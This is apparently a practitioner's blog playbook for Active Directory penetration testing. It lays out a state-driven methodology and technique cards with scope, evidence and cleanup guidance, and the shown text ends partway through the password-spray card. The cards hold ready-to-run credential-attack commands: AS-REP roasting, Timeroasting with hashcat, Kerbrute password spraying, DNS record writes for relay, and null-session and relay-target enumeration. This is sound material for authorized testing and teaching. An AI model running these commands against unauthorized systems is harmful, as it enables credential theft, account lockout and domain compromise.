Active Directory Penetration Testing Playbook

· 0ut3r Space ·

117 min read Original article ↗

This playbook grew out of my own need for a practical Active Directory field guide that I could use during real penetration tests instead of relying on scattered notes, command collections and memory. Over time, I kept refining it around the way I actually work: establish what access and evidence I have, understand what each result proves, choose the next meaningful branch, and preserve enough context to reproduce the assessment later.

ad-pentest-playbook

It is my working Active Directory penetration-testing playbook, shared so other practitioners can use it, adapt it and challenge it. Its starting point is the Orange Cyberdefense AD mind map, v2025.03, combined with technical documentation, public research and lessons learned from hands-on assessments. The mind map provides an excellent map of possibilities, but turning those possibilities into a repeatable assessment requires prerequisites, interpretation, evidence, decision points and cleanup.

The purpose of this playbook is therefore not to provide a sequence of commands to execute mechanically. It turns techniques into decisions: what can I test with the access I currently have, what does the result actually prove, what new capability or evidence does it create, and where should I go next? Equivalent tools are alternatives, not steps to run one after another. Each technique has one primary home; credential handling, reporting and cleanup are shared procedures.

This is a field methodology, not a substitute for operator judgment. The source and syntax review covers the baselines in chapter 34, but it is not a claim that every path was executed on every supported Windows build. Patch state, protocol protections, effective permissions and environment-specific architecture decide applicability. Record the versions and results from your own environment. Appendix D distinguishes operational procedures, prerequisite assessments and intentionally external specialist workflows; this document does not claim exhaustive coverage of every payload in the source mind map.

Contents

0. How to use this playbook

The playbook is state-driven. Do not execute every command mechanically. Enter at the state you actually possess and move between states as evidence changes.

State Meaning Typical next chapters
S0 Network access only 1–8
S1 Known domain / DC 3–8
S2 Valid username 6–8
S3 Reusable credential 9–20
S4 Authenticated low-privilege domain principal 9–20
S5 Interactive host access 20–25
S6 Credential material: NT hash/AES/TGT/PFX/DPAPI 22–28
S7 Attack primitive: ACL/delegation/relay/template/etc. 12–19, 25–28
S8 Administrative control of member host 22–28
S9 Domain/forest control 27–31

0.1 Result taxonomy

Type Definition Example
INFORMATION Context that improves later decisions Domain SID, CA hostname, password policy
CANDIDATE Object or host worth validating SPN user, non-signing SMB host
PRIMITIVE Capability that can be composed into an attack path WriteDACL, coercion source, relay target
CREDENTIAL Authentication secret or offline-verifiable material; record actual usability Password, NT hash, AES key, PFX, roast artifact
ACCESS Verified ability to authenticate or execute SMB admin, WinRM shell
FINDING Material security weakness suitable for reporting ESC1 exploitable by Domain Users
ATTACK PATH Connected sequence demonstrating impact Low user → ACL → group → server admin → DA

0.2 Minimum evidence record

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
engagement/
notes.md
commands.log
targets.csv
identities.csv
credentials.csv
primitives.csv
findings.csv
evidence/
network/
relay/
dns/
smb/
ldap/
kerberos/
bloodhound/
adcs/
sccm/
mssql/
hosts/
screenshots/
report/
Field Record
timestamp UTC or clearly documented local timezone
operator Who executed the step
source Host/VPN/pivot used
target IP/FQDN/object DN
command Exact command or tool action
tool Tool and version
result Minimal raw evidence proving the observation
interpretation Why it matters
next Next branch selected
finding_id Blank until promoted to a finding

0.3 Credential handling

  • Prefer interactive secret entry, protected credential files or credential caches when supported. Quoting a password prevents shell interpretation; it does not hide the password from process arguments, transcripts or tool logs. Expanding an environment variable into an argument does not remove that exposure.
  • Keep cleartext passwords, NT hashes, Kerberos caches and PFX files in an encrypted evidence location with least-privilege permissions.
  • Do not reuse captured credentials outside scope. Record first use and each target on which the credential was validated.
  • Treat machine-account keys, DPAPI keys, certificates and Kerberos tickets as credentials even when they are not passwords.
  • When a credential unlocks a new identity or privilege tier, create a new row in the identity/credential inventory before continuing.

0.4 Core decision loop

Current evidence Next action
No domain/DC known Discover services, DNS namespace and DCs.
Domain/DC known, no credential Test anonymous access and Kerberos discovery.
Username known Check AS-REP; establish effective lockout policy before any spray.
Credential obtained Validate once, map its rights, then select independent LDAP, shares, ACL, delegation, AD CS, SCCM, SQL and trust branches.
Host access obtained Inspect current token, local boundaries, accessible secrets and relevant sessions.
Writable object or relay/delegation primitive Validate prerequisites, prove the smallest useful consequence, then return with the resulting identity/access.
Domain/forest control established Record impact, validate remaining agreed boundaries and move to cleanup/reporting.
Branch did not yield access Distinguish a tested control from a tool error, missing prerequisite or untested path.

0.5 Reading technique cards

Entry state refers to S0–S9 above. States describe available capabilities, not a compulsory linear progression. Status describes whether a technique is current or a retained legacy exposure. Result type is the expected useful output, not a claim that every execution succeeds.

Every executed card inherits the evidence fields in section 0.2. Additional evidence lists identify technique-specific artifacts. A failed command is not a negative security result: classify it as BLOCKED or INCONCLUSIVE until authentication, reachability and tool compatibility have been separated from the control being assessed.

0.6 Command conventions and environment

  • Replace every <placeholder> before execution. Angle brackets are documentation notation, not literal shell input.
  • Linux examples use Bash; Windows examples use Windows PowerShell unless stated otherwise. PowerShell cmdlets require the corresponding modules. Import ActiveDirectory for AD cmdlets and the AD: drive; load the reviewed PowerView script before PowerView functions.
  • Quote substituted identities, passwords, DNs, paths and names containing $. A literal single quote inside a value needs shell-specific handling; prefer a prompt instead of improvising escapes.
  • impacket-* names follow distribution packaging such as Kali. Upstream/pip installations may expose getST.py, secretsdump.py and other example script names instead. The option semantics belong to the installed Impacket release.
  • Resolve DC/service FQDNs through the assessment DNS view. Use actual service hostnames for Kerberos SPNs. Confirm clock offset before troubleshooting Kerberos. Do not change a production clock to make a test work.
  • LDAP simple bind carrying a password uses verified TLS: ldaps:// or mandatory StartTLS with -ZZ. Install the environment’s CA chain in the test client. Do not use disabled certificate validation as the normal recipe. Anonymous RootDSE queries do not send a password.
  • Global Catalog searches, paged LDAP results, nested memberships and protected accounts can differ from a single-domain query. Record the naming context and collection scope.
  • For PowerShell group names, account for OS/domain localization. Prefer known SIDs or resolved DNs when a display name is not stable.

Prepare the working directories on an encrypted assessment volume. These permissions restrict local access; they do not provide encryption.

1
2
3
umask 077
mkdir -p engagement/evidence/{network,relay,dns,smb,ldap,kerberos,bloodhound,adcs,sccm,mssql,hosts,screenshots,report}
cd engagement

All relative evidence paths below are relative to engagement/. Keep raw secret-bearing output separate from redacted notes and report exports.

1. Engagement setup and safe execution

Before touching the environment, capture scope boundaries, permitted credential attacks, permitted coercion/relay, allowed exploitation, prohibited production systems, maintenance windows, and stop conditions. The same technical path can be safe read-only enumeration or a disruptive exploit depending on how it is executed.

Action Default
Read-only LDAP/SMB/Kerberos enumeration Usually low impact
Password spraying Explicit lockout-aware approval
Poisoning / MITM Explicit network approval
Coercion / relay Explicit approval and target allow-list
Remote execution Only after access is authorized to be proven
Credential dumping Only when necessary to prove impact
Domain replication / DCSync High-impact; explicit approval
Persistence Normally demonstrate capability without leaving persistence
Legacy RCE CVEs Validate version/config first; exploit only if required

1.1 Execution controls and rollback

Scope authorization applies to the whole playbook; card prerequisites list the additional technical conditions. Agree which activities may modify directory objects, trigger authentication, execute code or collect secrets before selecting those branches.

For each modification, preserve the original object/value, identify a restoration method, perform one scoped change and verify restoration. Do not overwrite a concurrent administrator change during cleanup. Revoking a test certificate, deleting a local PFX and invalidating already issued Kerberos tickets are different operations; restoring an ACL does not retract credentials already obtained.

Risk labels concern operational impact, not finding severity: LOW is bounded discovery/read activity, MEDIUM includes broad collection or active authentication triggering, and HIGH includes privileged secret collection, execution or sensitive writes. Record the actual change and secret exposure separately. Read-only does not mean invisible, load-free or harmless to confidentiality.

Share enumeration may probe write access. Use NetExec --no-write-check for a strictly non-writing inventory; a skipped write check is not proof that write access is denied. Automatic host-wide collectors may touch systems beyond the original DC; restrict their target set to scope.

Before interpreting any negative result, check target reachability, authentication identity, DNS/SPN, time, permissions, protocol restrictions and tool errors. Do not record PASS for a technique that was never exercised.

2. Network discovery and service map

AD-NET-01 — Host discovery and TCP service inventory

Status: CURRENT

Entry state: S0
Result type: INFORMATION
Risk of execution: LOW

Goal

Identify live systems and the AD-relevant service surface without assuming that only DCs matter.

Prerequisites

Reachable in-scope network ranges and an approved target/rate list. SYN scans (-sS) require raw-packet privileges; use TCP connect scanning (-sT) when unavailable.

Commands

Host discovery

1
nmap -sn '<CIDR>' -oA evidence/network/ping

Targeted AD ports

1
nmap -Pn -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986,9389 '<CIDR>' -oA evidence/network/ad-ports

Full TCP scan for selected hosts

1
nmap -Pn -sS -p- --max-rate '<approved_rate>' '<IP>' -oA 'evidence/network/full-<host>'

TCP inventory does not cover AD-relevant UDP services. On selected hosts, add a bounded UDP pass where required:

1
nmap -Pn -sU -sV -p 53,88,123,137,138,389,464 '<selected_host>' -oA evidence/network/ad-udp

-sU needs raw-packet privileges. UDP open|filtered is inconclusive; correlate application responses. PXE/TFTP and SQL Browser discovery require their own UDP ports and network context. --min-rate is a requested minimum, not a load ceiling; use an explicit approved ceiling such as --max-rate when the objective is to limit traffic.

Parameters

Parameter Meaning
-sn Host discovery without a port scan.
-Pn Skip host discovery and treat targets as online.
-sV Probe open ports for service/version information.
-p Explicit port list or range.
-oA Write normal, XML and grepable outputs.
–max-rate Requested packet-rate ceiling for supported scan phases; it is not a universal cap on every later service probe.

Interpretation

A reachable host and exposed service become inventory facts. AD-relevant ports suggest roles but do not prove them; correlate DNS, LDAP and SMB metadata.

If unsuccessful

No response may mean filtering or host discovery controls rather than absence. Use scoped -Pn checks and pivot visibility before marking unreachable.

Additional evidence

  • IP/FQDN mapping
  • open ports
  • service banners/build information
  • scan source and timing
  • nmap XML for later correlation

Finding logic

Open AD services are normally inventory, not findings. Unexpected management interfaces, legacy protocols or externally exposed services can become findings.

Next

Alternative branch

  • Confirm routing/VPN/pivot
  • Check ARP on local segment
  • Use known scope hostnames and DNS if provided

AD-SVC-01 — Adjacent enterprise services and management-surface triage

Status: CURRENT

Entry state: S0–S1
Result type: CANDIDATE
Risk of execution: LOW

Goal

Identify non-AD services that commonly hold domain credentials, administer large parts of the estate, or provide a bridge back into Active Directory. Product discovery is a prioritization step, not proof of a vulnerability.

Prerequisites

Discovered in-scope systems; application testing boundaries established for adjacent products.

Commands

Common management/application ports

1
nmap -Pn -sV -p 80,443,1099,1433,3306,5432,8000,8080,8443,9392,5985,5986 '<CIDR>' -oA evidence/network/adjacent-services

HTTP titles and headers on discovered web services

1
nmap -Pn -p 80,443,8000,8080,8443 --script http-title,http-headers '<targets>' -oA evidence/network/http-surfaces

What to prioritize

Surface Why it matters to AD testing Next decision
Exchange / OWA / ECP / EWS / Autodiscover Domain-integrated authentication, privileged service relationships and historically important relay/version-specific paths Identify exact build, patch state and enabled interfaces before any Exchange-specific test
Backup platforms such as Veeam Backup infrastructure frequently has broad server access and sensitive service credentials Map administrative boundary and product/version; assess application security only if explicitly in scope
Helpdesk / asset-management platforms such as GLPI May integrate with LDAP, store service credentials or provide privileged workflows Review authentication/integration and application-specific exposure separately
MSSQL / database services Integrated authentication, service accounts, impersonation and linked servers can form AD attack paths AD-MSSQL-01
Tomcat / JBoss and other Java application servers Management interfaces or vulnerable deployed applications can yield a host foothold Identify exact product/application/version; do not infer vulnerability from a banner
Java RMI / serialized-object services A reachable RMI/serialization surface is only a candidate until the actual exposed object/input path is known Perform application-specific validation only when in scope
Log4j-based applications Log4Shell applies to affected application/library versions plus a reachable attacker-controlled lookup path, not to a port number Establish application/version and reachable input before testing
PXE / SCCM May expose deployment material or management-plane attack paths AD-SCCM-01 / AD-SCCM-02

Interpretation

A discovered service becomes a candidate to map to a product, version, authentication model, administrative boundary and known security posture. It is not automatically a finding and it does not justify running an exploit based only on a banner.

If unsuccessful

No adjacent service was identified through the tested ports and inventory. Do not expand scanning outside scope solely to find an application foothold.

Additional evidence

  • host/FQDN and port
  • product and version when reliably identified
  • authentication method
  • domain/service identity if observable
  • administrative role or trust boundary
  • application-specific scope decision

Finding logic

Report the actual application weakness, exposed credential, excessive privilege or outdated vulnerable build. The mere presence of Exchange, Veeam, GLPI, Java, a database or another management platform is not a finding.

Next

  • Route MSSQL to AD-MSSQL-01.
  • Route SCCM/PXE to AD-SCCM-01.
  • For other products, perform a separate version/configuration assessment within the approved application scope and return any obtained credential through AD-AUTH-01.

AD-WSUS-01 — WSUS update trust and transport assessment

Status: CURRENT

Entry state: S4–S5

Result type: CANDIDATE

Risk of execution: LOW for configuration review

Goal and prerequisites

Identify the configured update authority and who can change it. Use a joined Windows endpoint or a reviewed GPO export; separately obtain WSUS-server configuration when that server is in scope.

Commands — client policy

1
2
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate' -ErrorAction SilentlyContinue | Select-Object WUServer,WUStatusServer,UpdateServiceUrlAlternate,AcceptTrustedPublisherCerts
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -ErrorAction SilentlyContinue | Select-Object UseWUServer

Validation

  • Resolve the configured update host and identify HTTP versus HTTPS, certificate trust and applicable client policy. Missing registry values can mean a different update-management arrangement; they are not a secure/insecure verdict.
  • Map GPO write/link rights, WSUS administration, publishing/approval permissions and server-local administration. Check which controls prevent an unintended principal from changing update source or approved content.
  • For a server-certificate path such as ESC17, validate the entire chain: enrollable server-authentication certificate, target name, trusted issuer, traffic-redirection capability and affected update-client/service behavior. A server-authentication certificate alone is not domain compromise.
  • Record the boundary and prerequisites. Do not change clients’ update source, publish updates or trigger installations as a default discovery test.

Evidence and next

Record effective policy source, update endpoints, transport/certificate observations and the controlling identities. Route GPO control to AD-GPO-01 and PKI conditions to chapter 15. A live update-execution proof is a separate change-controlled specialist workflow; record that limitation rather than marking it completed.

References

3. Domain and Domain Controller discovery

AD-DNS-01 — Discover AD DNS namespace and DCs through SRV records

Status: CURRENT

Entry state: S0–S1
Result type: INFORMATION
Risk of execution: LOW

Goal

Identify the AD DNS domain, KDCs, LDAP servers and Global Catalog using the discovery mechanism Windows clients use.

Prerequisites

A candidate domain suffix and a resolver with the internal DNS view. Add @<dns_server> to dig when the system resolver is unsuitable.

Commands

DC LDAP SRV

1
dig +short SRV '_ldap._tcp.dc._msdcs.<domain>'

Kerberos SRV

1
dig +short SRV '_kerberos._tcp.<domain>'

Global Catalog

1
dig +short SRV '_gc._tcp.<forest-root>'

Resolver view

1
resolvectl status

Parameters

Parameter Meaning
+short Return concise DNS answer data.
SRV Request service-location records containing priority, weight, port and target.

Interpretation

SRV targets identify authoritative DC/KDC/GC candidates and give canonical hostnames required by Kerberos. Record every DC; do not test only one.

If unsuccessful

An empty answer can mean the wrong DNS suffix/resolver or blocked DNS. Inspect DHCP/VPN DNS settings, reverse DNS and any provided hostnames.

Additional evidence

  • AD DNS domain
  • DC FQDN/IP
  • KDC FQDN/IP
  • GC FQDN/IP
  • DNS server used

Next

Alternative branch

  • Inspect DHCP/VPN configuration
  • Query PTR records for likely DC IPs
  • Use SMB/LDAP metadata from discovered servers

AD-DNS-02 — DNS zone transfer and AD-integrated DNS exposure

Status: CURRENT

Entry state: S1; S3–S4 for authenticated enumeration
Result type: CANDIDATE
Risk of execution: LOW

Goal

Check whether authoritative DNS allows unintended zone transfer and whether authenticated AD-integrated DNS enumeration exposes useful host/service records.

Prerequisites

An authoritative DNS server and zone; a valid domain identity for AD-integrated DNS enumeration.

Commands

AXFR

1
dig AXFR '<domain>' '@<dns_server>'

Authenticated AD DNS enumeration

1
adidnsdump -u '<domain>\<user>' -p '<password>' --dns-tcp '<dc_fqdn>'

Parameters

Parameter Meaning
AXFR Request a full DNS zone transfer.
@server Send the query to the selected DNS server.
–dns-tcp Use DNS over TCP in adidnsdump when needed.

Interpretation

A successful unauthorized AXFR is normally reportable information disclosure. Authenticated DNS data is expected but feeds host/service discovery and attack-path analysis.

If unsuccessful

AXFR refusal is the expected hardened state. Continue with SRV and authenticated AD DNS enumeration if credentials become available.

Finding logic

Unauthenticated zone transfer of internal AD zones is normally a finding. Ordinary authenticated AD DNS reads are not.

Next

  • Add discovered hosts/services to target inventory
  • Look for management, CA, SCCM, SQL and legacy systems

Alternative branch

  • Continue SMB/LDAP/Kerberos discovery

AD-DNS-03 — AD-integrated DNS write permissions and controlled-record validation

Status: CURRENT

Entry state: S4 or S7
Result type: PRIMITIVE
Risk of execution: LOW for query / MEDIUM for controlled write

Goal

Determine whether the current principal can create or modify records in AD-integrated DNS. A writable DNS node can become an authentication-redirection primitive and may compose with NTLM/Kerberos relay paths, but ordinary authenticated DNS read access is not a finding.

Prerequisites

A domain identity, the exact AD DNS partition/zone and an engagement-owned test name. Read the current node and preserve its state before any write.

Commands

Read/query a candidate record with krbrelayx dnstool.py

1
python3 dnstool.py '<dc_fqdn>' -u '<DOMAIN>\<user>' -p '<password>' --zone '<domain>' -r '<record_fqdn>' -a query

List DNS zones without modification

1
python3 dnstool.py '<dc_fqdn>' -u '<DOMAIN>\<user>' -p '<password>' --print-zones

Controlled write proof — use a unique engagement-owned hostname and remove it immediately after validation

1
python3 dnstool.py '<dc_fqdn>' -u '<DOMAIN>\<user>' -p '<password>' --zone '<domain>' -r '<test_record_fqdn>' -a add -d '<operator_controlled_ip>'

Cleanup

1
python3 dnstool.py '<dc_fqdn>' -u '<DOMAIN>\<user>' -p '<password>' --zone '<domain>' -r '<test_record_fqdn>' -a ldapdelete

Parameters

  • positional host — DNS/DC hostname, IP or LDAP connection target used by dnstool.py.
  • -u/--user — DOMAIN\username authentication identity.
  • -p/--password — password or supported LM:NTLM material; omit when interactive prompting is preferable.
  • --zone — zone to inspect when it differs from the automatically selected current-domain zone.
  • -r/--record — target record FQDN.
  • -a/--action — query, add, modify, remove, resurrect or ldapdelete in current krbrelayx source.
  • -d/--data — address written for an A record.
  • -dc-ip — explicit DC address when name resolution and LDAP routing differ.
  • -dns-ip — DNS server used for DNS-side serial/query operations.

Interpretation

A successful controlled write proves that the principal can influence name resolution in the tested DNS partition/zone. The next question is not “can I write DNS?” but which security boundary can that write cross? Map clients/services that resolve the affected name and whether the record can redirect authentication into an approved relay/capture path.

If unsuccessful

Failure to create/modify the test node means this principal did not prove a DNS-write primitive at that location. Do not infer that every DNS node is protected; ACLs may differ between existing nodes, zones and partitions.

Additional evidence

  • principal and SID
  • DNS partition/zone
  • exact record DN/FQDN
  • original state
  • temporary record value
  • create/modify result
  • cleanup result
  • affected resolution path, if any

Finding logic

Authenticated ability to create ordinary dynamic records can be normal depending on deployment. Promote it only when permissions are broader than intended or when a controlled record can materially redirect a sensitive service/authentication path.

Next

  • AD-NTLM-04 — determine whether the redirected authentication has a compatible relay destination
  • AD-NTLM-05 — validate LDAP/LDAPS relay protections
  • AD-BH-02 — record the DNS primitive as a manually validated edge/path

Alternative branch

  • Continue SMB/LDAP/Kerberos discovery

Reference

  • krbrelayx dnstool.py current source: AD-integrated DNS interaction through LDAP.

4. SMB posture and anonymous access

AD-SMB-01 — SMB metadata, signing and SMBv1

Status: CURRENT

Entry state: S0–S1
Result type: PRIMITIVE
Risk of execution: LOW

Goal

Determine SMB dialect, signing posture, hostname/domain metadata and identify relay candidates.

Prerequisites

Reachable SMB targets from the scoped asset list.

Commands

NetExec SMB inventory

1
nxc smb '<CIDR>'

Signing candidate list

1
nxc smb '<CIDR>' --gen-relay-list evidence/relay/smb.txt

Nmap SMB protocols

1
nmap -Pn -p445 --script smb-protocols,smb2-security-mode '<CIDR>' -oA evidence/smb/posture

Parameters

Parameter Meaning
smb Select the NetExec SMB protocol.
–gen-relay-list Write hosts whose SMB signing posture makes them potential NTLM relay targets.
smb2-security-mode Nmap NSE check for SMB2 signing configuration.

Interpretation

SMB signing not required creates a relay target candidate, not an exploit by itself. SMBv1 or obsolete dialects create separate legacy-risk leads.

If unsuccessful

Signing required blocks ordinary SMB-to-SMB NTLM relay to that server. It does not rule out HTTP, LDAP, AD CS, MSSQL or other relay paths.

Additional evidence

  • host/IP
  • Windows/build info
  • domain/workgroup
  • SMB dialect
  • signing state
  • SMBv1 state

Finding logic

SMB signing not required is commonly reportable when NTLM is in use and relay impact is credible. Demonstrated relay materially strengthens severity.

Next

Alternative branch

  • Continue HTTP/LDAP/AD CS relay posture
  • Continue authenticated enumeration

Status: CURRENT

Entry state: S0–S1
Result type: ACCESS
Risk of execution: LOW

Goal

Determine whether SMB exposes shares, files, users or RPC information without a valid domain credential.

Prerequisites

Reachable SMB service; distinguish null authentication from guest mapping in the returned identity.

Commands

Anonymous listing

1
smbclient -U '%' -N -L '//<target>/'

NetExec null auth

1
nxc smb '<target>' -u '' -p '' --shares --no-write-check

Guest-style validation

1
nxc smb '<target>' -u guest -p '' --shares --no-write-check

Parameters

Parameter Meaning
-N Do not prompt for a password in smbclient.
-L List services/shares on the server.
–shares Enumerate share access; –no-write-check skips active write validation.

Interpretation

Record exactly which identity the server mapped the session to and which shares/files are readable or writable. Anonymous read of sensitive data or anonymous write usually becomes a finding.

If unsuccessful

No anonymous access. Do not stop SMB testing; repeat with each obtained credential.

Next

  • Search readable shares for deployment/configuration/credential material
  • If writable, assess whether the share participates in user/admin workflows before attempting any write-based coercion

Alternative branch

5. LDAP and directory baseline

AD-LDAP-01 — RootDSE and anonymous LDAP bind

Status: CURRENT

Entry state: S1
Result type: INFORMATION
Risk of execution: LOW

Goal

Learn naming contexts and determine whether useful directory data is exposed anonymously.

Prerequisites

DC LDAP endpoint; derive the domain base DN from RootDSE before the subtree query.

Commands

RootDSE

1
ldapsearch -x -H 'ldap://<dc_fqdn>' -s base -b "" namingContexts defaultNamingContext rootDomainNamingContext dnsHostName supportedCapabilities

Anonymous domain query

1
ldapsearch -x -H 'ldap://<dc_fqdn>' -b "<base_dn>" "(objectClass=user)" sAMAccountName

Parameters

Parameter Meaning
-x Use simple authentication rather than SASL.
-H LDAP URI.
-s base Search only the base object.
-b Search base DN; empty string selects RootDSE.

Interpretation

RootDSE normally exposes discovery metadata. If anonymous bind can enumerate domain objects/attributes beyond expected RootDSE data, capture the exact scope and sensitivity.

If unsuccessful

Anonymous directory search is blocked as expected; keep RootDSE discovery data and return with credentials.

Finding logic

RootDSE metadata alone is not a finding. Anonymous access to users/groups/attributes or sensitive objects may be.

Next

  • Derive <base_dn> and forest root
  • AD-LDAP-02 — authenticated directory inventory when credentials exist

Alternative branch

AD-LDAP-02 — Authenticated users, groups, computers and privileged groups

Status: CURRENT

Entry state: S4
Result type: INFORMATION
Risk of execution: LOW

Goal

Build a clean identity/object inventory before chasing individual attack techniques.

Prerequisites

Valid domain identity, domain base DN and a working authenticated LDAP channel.

Commands

NetExec LDAP users

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>' --users

Active users

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>' --active-users

LDAP search

1
ldapsearch -LLL -x -H 'ldaps://<dc_fqdn>' -D "<user>@<domain>" -W -E pr=1000/noprompt -b "<base_dn>" "(&(objectCategory=person)(objectClass=user))" sAMAccountName userAccountControl memberOf servicePrincipalName pwdLastSet lastLogonTimestamp

The example uses paged results (-E pr=1000/noprompt) to avoid mistaking the first server-limited page for a complete inventory. lastLogonTimestamp is replicated with update lag; it is not an exact last-logon timestamp. memberOf alone is not a complete effective group-token expansion.

Parameters

Parameter Meaning
–users Enumerate directory users.
–active-users Filter NetExec LDAP user enumeration to enabled accounts.
-D Bind identity for ldapsearch.
-W Prompt for bind password rather than embedding it in command history.
-LLL Suppress LDAP comments/version noise.

Interpretation

Creates the identity inventory used by password policy, Kerberoasting, delegation, ACL, stale-account and privilege analysis.

If unsuccessful

Authentication/LDAP failure must be distinguished from permissions, channel binding, signing, DNS and clock issues.

Next

Alternative branch

  • Validate credential independently over SMB/Kerberos
  • Try LDAPS where policy requires it
  • Check time/DNS and LDAP signing/channel-binding requirements

6. Kerberos discovery and credential acquisition

AD-KRB-01 — Username enumeration through Kerberos pre-authentication behavior

Status: CURRENT

Entry state: S1
Result type: INFORMATION
Risk of execution: LOW

Goal

Validate candidate usernames without requiring passwords, using KDC response differences.

Prerequisites

Correct Kerberos realm, reachable KDC and a scoped username candidate list.

Commands

Kerbrute

1
kerbrute userenum -d '<domain>' --dc '<dc_fqdn>' --safe -o evidence/kerberos/userenum.log users.txt

Parameters

Parameter Meaning
userenum Enumerate valid principals using Kerberos responses.
-d / –domain Full AD DNS domain.
–dc KDC/DC to target; using the FQDN avoids ambiguous DNS behavior.
–safe Abort if Kerbrute observes a locked account.
-o / –output Write a log file.

Interpretation

A KDC response consistent with an existing principal makes the username valid for subsequent AS-REP checks, policy analysis and carefully governed authentication testing.

If unsuccessful

A rejected candidate is removed from the active username list. Large negative rates may indicate wrong realm/domain naming.

Finding logic

Username enumeration is usually a supporting observation rather than a standalone high-severity finding.

Next

Alternative branch

  • Generate candidates from naming conventions, SMB/RPC, email-format OSINT permitted by scope, or directory data if another credential exists

Reference

AD-KRB-02 — AS-REP roasting

Status: CURRENT

Entry state: S1–S2; S4 for authenticated discovery
Result type: CREDENTIAL
Risk of execution: LOW

Goal

Identify users for which Kerberos pre-authentication is disabled and retrieve crackable AS-REP material.

Prerequisites

Reachable KDC and candidate usernames; the target account must not require Kerberos pre-authentication.

Commands

Impacket with user list

1
impacket-GetNPUsers '<domain>/' -dc-ip '<dc_ip>' -usersfile users.txt -no-pass -request -format hashcat -outputfile evidence/kerberos/asrep.hashes

NetExec

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user_or_list>' -p '<password_or_empty>' --asreproast evidence/kerberos/asrep.hashes

Parameters

Parameter Meaning
-usersfile Test principals from a file.
-no-pass Do not request an interactive password.
-request Request AS-REP material for roastable accounts.
-format hashcat Emit hashcat-compatible format.
-outputfile Write recovered AS-REP strings to file.

Interpretation

An AS-REP hash is credential material, not yet a password. Preserve it, record the principal and crack only within the agreed password-audit scope.

If unsuccessful

No tested account had the required pre-authentication condition, or enumeration method/permissions were insufficient.

Finding logic

An account configured without Kerberos pre-authentication is normally reportable, especially when crackable credentials are demonstrated.

Next

  • AD-CRACK-01 — offline cracking
  • If cracked: validate credential and enter S3/S4

Alternative branch

  • AD-PASS-01 — policy and governed spray
  • If credentials later exist: AD-KRB-04 — Kerberoasting

Reference

AD-KRB-03 — Timeroasting computer and trust accounts

Status: CURRENT

Entry state: S1
Result type: CREDENTIAL
Risk of execution: LOW

Goal

Use the authenticated Windows NTP mechanism exposed by a Domain Controller to request crackable material for computer or trust accounts that use weak/non-random passwords. This path does not require a domain credential.

Prerequisites

DC UDP/123 reachability and a bounded RID/rate/time budget. No domain credential is required.

Commands

Collect MS-SNTP material by RID enumeration

1
python3 timeroast.py -o evidence/kerberos/timeroast.hashes '<dc_fqdn_or_ip>'

Offline cracking

1
hashcat -m 31300 --username evidence/kerberos/timeroast.hashes '<wordlist>'

Parameters

Parameter Meaning
-o / –out Write collected Timeroast output to a file.
-r / –rids Restrict RID values when the installed Timeroast version supports explicit RID selection.
-a / –rate Control request rate; keep it inside the approved load envelope.
-t / –timeout Stop after this many seconds without receiving an NTP response; not a per-request timeout.
-m 31300 Hashcat MS SNTP mode.
–username Parse and ignore the RID prefix for hashing; retain the original RID-to-account mapping separately.

Interpretation

A $sntp-ms$... result is offline-crackable credential material for a computer or trust account. It is not a plaintext password and does not imply the account uses a weak password; the security impact appears when the material is cracked or when weak machine/trust-account password management is otherwise demonstrated.

If unsuccessful

No usable response was collected for the tested RIDs/service path. This does not prove every machine or trust account has a strong password.

Additional evidence

  • DC/FQDN and IP
  • RID/account mapping where known
  • $sntp-ms$... artifact
  • collection rate/tool version
  • cracking result and effort

Finding logic

Timeroasting capability by itself is a protocol property. Report weak/default/non-random machine or trust-account passwords when cleartext recovery or equivalent evidence proves the account secret is weak.

Next

  • AD-CRACK-01 with Hashcat mode 31300.
  • If cracked: AD-AUTH-01 and map the machine/trust account’s actual rights.

Alternative branch

  • Continue AS-REP, policy/spray, anonymous and relay/coercion branches.

Reference

AD-PASS-01 — Password and lockout policy before authentication testing

Status: CURRENT

Entry state: S3–S4
Result type: INFORMATION
Risk of execution: LOW

Goal

Determine lockout threshold/window, minimum length, history and fine-grained password policies before any spray.

Prerequisites

A readable domain policy and, where used, the resultant fine-grained policy for each tested identity; request policy from the owner if unavailable.

Commands

NetExec domain policy

1
nxc smb '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>' --pass-pol

PowerShell domain policy

1
Get-ADDefaultDomainPasswordPolicy

Fine-grained policies

1
Get-ADFineGrainedPasswordPolicy -Filter *

Resolve the policy applied to a particular user

1
Get-ADUserResultantPasswordPolicy -Identity '<user>'

No returned PSO means the default domain policy applies only after successful query and confirmed absence of a resultant fine-grained policy. Permission/query errors are not that result. Coordinate the attempt budget with other testers; a delay alone does not establish a safe cadence.

Parameters

Parameter Meaning
–pass-pol Query domain password/lockout policy over supported AD interfaces.
-Filter * Return all fine-grained password-policy objects.

Interpretation

You now have the safety envelope needed to decide whether spraying is permissible and at what cadence. Fine-grained policies mean one global threshold is not sufficient.

If unsuccessful

If policy cannot be read, do not guess a spray cadence. Obtain policy through another approved method or skip spraying.

Finding logic

Weak password/lockout policy can be reportable independently; do not infer password quality solely from policy.

Next

  • AD-PASS-02 — lockout-aware spray only if explicitly permitted

Alternative branch

  • Skip spray; continue AS-REP, anonymous access, poisoning/coercion or credential exposure paths

AD-PASS-02 — Lockout-aware Kerberos password spray

Status: CURRENT

Entry state: S2 plus known policy
Result type: CREDENTIAL
Risk of execution: MEDIUM

Goal

Test a very small approved set of passwords across validated accounts without vertical brute-force behavior.

Prerequisites

Validated users, resultant lockout policies, excluded identities and a coordinated attempt budget. Account for other operators and existing failed attempts; --safe reacts to observed lockout and cannot guarantee prevention.

Commands

Kerbrute spray

1
kerbrute passwordspray -d '<domain>' --dc '<dc_fqdn>' --safe --delay '<ms>' users.txt '<password>'

Parameters

Parameter Meaning
passwordspray Test one password against many users.
–safe Abort when a lockout condition is observed.
–delay Delay in milliseconds; Kerbrute uses a single thread when delay is set.

Interpretation

A valid login is a reusable credential. Stop testing that identity unnecessarily; record it and begin authenticated enumeration.

If unsuccessful

